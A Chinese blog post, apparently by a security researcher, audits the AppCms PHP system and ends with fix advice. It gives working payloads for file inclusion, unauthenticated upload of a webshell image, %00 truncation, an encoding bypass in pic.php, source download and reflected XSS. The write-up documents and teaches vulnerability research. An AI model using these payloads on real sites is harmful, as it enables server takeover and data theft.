AppCms的一次综合审计

目录

一、前言

进入六月以后,自己的时间也就充裕很多了。很多比赛结束、绿盟那边暂时也没有什么任务,就等着7月份去入职了。所以沉下心准备学点东西。于是就选择一位老哥审计过的源码,自己来审计一遍,看看自己的差距,也给自己增加点经验。再就是上次土司聚会就说会在土司发表一篇文章……所以潜水很多年的我来了。本文章是审计的一个CMS系统,比较乱,希望别介意。

二、正题

我的审计思路一般是:->看目录摸清大体的框架->找具体功能审计->选择漏洞类型进行审计。

1.png
图1 主要目录Tree

看目录很明显,有后台目录、缓存目录、数据储存目录、安装目录、插件目录以及手机版的目录。大体的目录了解了后,就开始正式的审计了。

首先看下入口文件index.php,发现很有趣,按照常规的入口文件,一般是引入核心文件什么的,而他直接就是将一些过滤代码写到了入口文件。

// 预防XSS漏洞
foreach ($_GET as $k => $v) {
    $_GET[$k] = htmlspecialchars($v);
}
$dbm = new db_mysql();
//预处理搜索时的值,主要是防止sql的注入
if (isset($_GET['q'])) {
    if (isset($_GET['act']) && $_GET['act'] == 'hot') {
        if (trim($_GET['q']) == '') {
            $sql = "SELECT id,q,qnum FROM " . TB_PREFIX . "search_keyword LIMIT 15";
            $res = $dbm->query($sql);
            if (empty($res['error']) && is_array($res['list'])) {
                foreach ($res['list'] as $k => $v) {
                    $res['list'][$k]['q'] = helper :: utf8_substr($v['q'], 0, 20);
                }
                echo json_encode($res['list']);
                exit;
            } else {
                die();
            }
        }
    }
    //超出长度截取
    if (strlen($_GET['q']) > 20) {
        $_GET['q'] = helper :: utf8_substr($_GET['q'], 0, 20);
    }

    if (trim($_GET['q']) == '0' || trim($_GET['q']) == '') die('搜索词不能为0或空,请重新输入。点此 <a href ="' . SITE_PATH . '">回到首页</a>');
    if (!preg_match("/^[{4e00}-{9fa5}{0}]+$/u", $_GET['q'])) {
        die('搜索词只允许下划线,数字,字母,汉字和空格,请重新输入。点此<a href ="' . SITE_PATH . '">回到首页</a>');
    }

可以看出,系统做了两个过滤。一个是htmlspecialchars($v),另一个是/^[\x{4e00}-\x{9fa5}\w {0}]+$/u。前一个过滤是把预定义的字符 "<" 和 ">"转换为 HTML 实体,后一个是用正则处理参数,使其只能输入下划线、数字、字母、汉字和空格。

继续看,下面的代码主要是加载分类板块,本以为没有什么希望在这个文件寻找出什么漏洞的时候,最后几段代码让我眼前一亮。

if (substr($tpl, strlen($tpl) - 4, 4) == '.php') {
    $tmp_file = '/templates/' . $from_mobile . '/' . $tpl;
} else {
    $tmp_file = '/templates/' . $from_mobile . '/' . $tpl . '.php';
}
if (!file_exists(dirname(__FILE__) . $tmp_file)) die('模板页面不存在' . $tmp_file);
require(dirname(__FILE__) . $tmp_file);

首先构建php文件,然后判断该php文件是否存在,如果不存在,直接die,如果存在,引入该文件。没有任何过滤或者判断,很明显的文件包含漏洞!!于是测试查看phpinfo的信息。在根目录下创建了一个phpinfo文件。

2.png
图2 phpinfo文件

然后根据代码,来构建playload。

http://localhost/app/index.php?tpl=../../phpinfo&id=1

3.png
图3 包含结果

成功读取。
到这里有两个利用的思路。一是读取相关敏感信息,二是利用该漏洞上传文件带有一句话的文件,通过该包含漏洞进行链接菜刀。第一个尝试了一下,没有发现什么有效的敏感信息。后台什么的,都是js文件和php文件操作,这个包含也看不了什么信息,于是就把目光转向了第二个。既然是上传,肯定要找上传点,发现前台并没有什么上传点,于是尝试着后台,发现一个神奇的地方。

4.png
图4 上传点

app/upload/upload_form.php?params=%7B%22inner_box%22%3A%22%23ff1%22%2C%22func%22%3A%22callback_upload_resource%22%2C%22id%22%3A%221%22%2C%22thumb%22%3A%7B%22width%22%3A%22300%22%2C%22height%22%3A%22300%22%7D%2C%22domain%22%3A%22localhost%22%7D

这个上传点竟然没有上传权限限制,就是说只要知道这个地址,可以传任何图片、APK文件到服务器上。然后查看了下upload_form.php文件。果然如此,只是一个上传文件的格式判断以及传入参数判断,如果参数正确,就可以上传,没有验证访问者的权限。

 $upload_server= SITE_PATH."upload/";
    //上传安全验证字符串
    $verify=helper::encrypt(UPLOAD_CODE.strtotime(date('Y-m-d H:i:s')),UPLOAD_KEY);
    $params=$_GET['params'];
    $params=preg_replace('~(\)~','"',$params);
$json=json_decode($params);    

这就有意思了。
于是结合上面的那个文件包含漏洞,上传一个含有一句话的图片,尝试获取shell。

5.png
图5 一句话木马图片上传

PS:这里有个问题,就是图片上传后,文件名是随机的,实际操作的时候,可能要扫目录或者其他方法获取文件名。
因为在服务器上储存的是jpg文件,如果直接访问的话,肯定是显示不存在模板,如下:

6.png
图6 尝试读取

随即自然的想起了%00截断。由于本地环境的php版本是5.2.17<5.3.4,而且并没有开启magic_quotes_gpc所以是可以截断成功的。如下:

7.png
图7 %00截断

http://localhost/app/index.php?tpl=../../upload/img/2017/06/11/
593cc2106fd93.jpg%00&id=1

菜刀成功连接之。

8.png
图8 菜刀连接

看完了入口文件,开始审计其他内容,首先从安装开始,很遗憾,并没有发现什么漏洞,想从注册和登陆这块审计,无奈这套系统又不存在这个功能,所以就开始了针对于漏洞的审计。发现根目录下的pic.php存在问题。代码如下:

if(isset($_GET['url']) && trim($_GET['url']) != '' && isset($_GET['type'])) {
    $img_url=trim($_GET['url']);
    $img_url = base64_decode($img_url);
    $img_url=strtolower(trim($img_url));
    $_GET['type']=strtolower(trim($_GET['type']));
    
    $urls=explode('.',$img_url);
    if(count($urls)<=1) die('image type forbidden 0');
    $file_type=$urls[count($urls)-1]; 
    
    if(in_array($file_type,array('jpg','gif','png','jpeg'))){}else{ die('image type foridden 1');}

    if(strstr($img_url,'php')) die('image type forbidden 2');

    if(strstr($img_url,chr(0)))die('image type forbidden 3');
    if(strlen($img_url)>256)die('url too length forbidden 4');

    header("Content-Type: image/{$_GET['type']}");
    readfile($img_url);
    
} else {
    die('image not find£¡');
}

以GET的请求方式,传入两个参数:url和type,要求url参数必须是base64格式,然后系统经过转变成小写后进行判断验证。判断有很多,主要是判断url传入参数的长度、内容,如果长度大于256和小于等于1,包含关键字php、非标准化路径统统报错,并且type类型只能是jpg/gif/png/jpeg。

程序编写者明显是有安全意识的。但是这里还是存在两个漏洞的,一个是文件包含漏洞,一个是文件下载漏洞。

上面的确是对url参数的做了几次验证,但是开发者忽略了编码转换。就是说,如果我们讲%00、php等类似的字符进行url编码转换以后,再进行base64加密,传入参数后,这几个验证是可以绕过的!

我们根据上面的文件包含漏洞来构建playload。

http://localhost/app/pic.php?url=dXBsb2FkL2ltZy8yMDE3LzA2LzEwLzU5M2NjMjEwNmZkOTMlMmUlNzAlNjglNzAlMjUlMzAlMzAuanBn&type=jpg

其中dXBsb2FkL2ltZy8yMDE3LzA2LzEwLzU5M2NjMjEwNmZkOTMlMmUlNzAlNjglNzAlMjUlMzAlMzAuanBn解密后是upload/img/2017/06/10/593cc2106fd93%2e%70%68%70%25%30%30.jpg
这里的%2e%70%68%70%25%30%30是.php%00。然后菜刀连接之。

9.png
图9 连接地址

10.png
图10 成功连接

还有一个漏洞就是header("Content-Type: image/{$_GET['type']}");

这里我们只要构造type的类型不等于in_array()中的任何一个条件,Content-Type:image/tpye 就会因为头文件错误导致无法正确解析源文件,造成直接下载源文件的现象。(大家可尝试在php的文件里加上header("Content-Type: image/php");看看效果

继续看文件,发现了很多XSS漏洞,不过都是反射型的,这里就找两个说吧。

第一处:/templates/m/inc_head.php

<input type="text" id="abc" class="search-txt" value="<?php if(isset($_GET['q'])) echo $_GET['q'];?>" />

很明显的xss漏洞,直接判断参数q是否存在,然后输出。

直接构建playload:

http://localhost/app/templates/m/search.php?q="/><script>alert('xss')</script>

成功触发漏洞。

11.png
图11 XSS漏洞(1)

第二处:/templates/m/search.php

<title>ËÑË÷ <?php if(isset($_GET['q'])) echo $_GET['q'];?> - <?php echo SITE_NAME;?></title>

同上,直接构造playload:

http://localhost/app/templates/m/search.php?q=a<;/title><script>alert('xss')</script>

成功触发漏洞。

11.png
图12 XSS漏洞(2)

最尴尬的是,inc_head.php 这个文件是存在xss漏洞的,但是很多文件都引入了这个文件,也就导致了很多地方存在了此漏洞。

三、安全建议

对于文件包含漏洞,可以设置类似白名单的方法,通过筛选固定文件名方法。这样一方面不必切断这个业务,另一方面又不会被轻易绕过,当然,也可以采用设置open_basedir的方法来防御。

对于XSS漏洞,没什么好说的,本套系统之所以出现XSS漏洞,是因为没有类似于PC端那种直接使用正则进行参数验证,所以只要使用Index.php的那种过滤,是可以的。

四、总结

这次审计对于自己算是一次进步和总结吧,最遗憾的是没有审计到sql注入漏洞,因为入口的那个正则过滤以及始终无法闭合双引号(双引号被转义成实体),所以始终没有注入成功。

有兴趣的可以下载这套系统审计看看,就当练手。最后,有不足的地方欢迎指出,我会听取各位大佬的意见。轻喷哈~

「一键投喂 软糖/蛋糕/布丁/牛奶/冰阔乐!」

panda

(๑>ڡ<)☆谢谢老板~

使用微信扫描二维码完成支付

本文共有7700个字。标签:APPCMS代码审计
版权声明:本文为作者原创,如需转载须联系作者本人同意,未经作者本人同意不得擅自转载。
 没有了 CVE-2017-9603分析 
添加新评论
暂无评论